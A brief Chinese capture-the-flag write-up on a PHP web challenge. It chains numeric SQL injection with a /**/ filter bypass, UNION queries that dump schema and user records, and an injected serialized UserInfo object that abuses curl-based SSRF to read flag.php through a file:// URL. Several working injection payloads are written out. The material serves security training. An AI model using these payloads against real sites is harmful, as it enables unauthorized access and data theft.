注册一个试试
查看源代码能看到有个内联框架还有base64编码后的源码
url中也可能存在sql注入初步判断为数字型注入
通过报错也可得知网站目录位置为/var/www/html
猜解字段
有4列
查看回显位
union select被过滤了用/**/代替空格绕过
回显位是2
报错提示有反序列化函数
爆表
-1 union/**/select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema=database()
爆列名
-1 union/**/select 1,group_concat(column_name),3,4 from information_schema.columns where table_schema=database() and table_name='users'
爆字段
-1 union/**/select 1,group_concat(no,username,passwd,data),3,4 from users
有序列化样式的内容
扫描网站目录得出robots.txt和flag.php(但是没有回显)
得到备份源码
<?php
class UserInfo
{
public $name = "";
public $age = 0;
public $blog = "";
public function __construct($name, $age, $blog)
{
$this->name = $name;
$this->age = (int)$age;
$this->blog = $blog;
}
function get($url)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$output = curl_exec($ch);
$httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
if($httpCode == 404) {
return 404;
}
curl_close($ch);
return $output;
}
public function getBlogContents ()
{
return $this->get($this->blog);
}
public function isValidBlog ()
{
$blog = $this->blog;
return preg_match("/^(((http(s?))\:\/\/)?)([0-9a-zA-Z\-]+\.)+[a-zA-Z]{2,6}(\:[0-9]+)?(\/\S*)?$/i", $blog);
}
}
存在ssrf
按照字段顺序反序列化部分应该再第data字段
构造payload
-1 union/**/select 1,2,3,'O:8:"UserInfo":3:{s:4:"name";s:3:"123";s:3:"age";i:123;s:4:"blog";s:29:"file:///var/www/html/flag.php";}'
查看网页源码
解码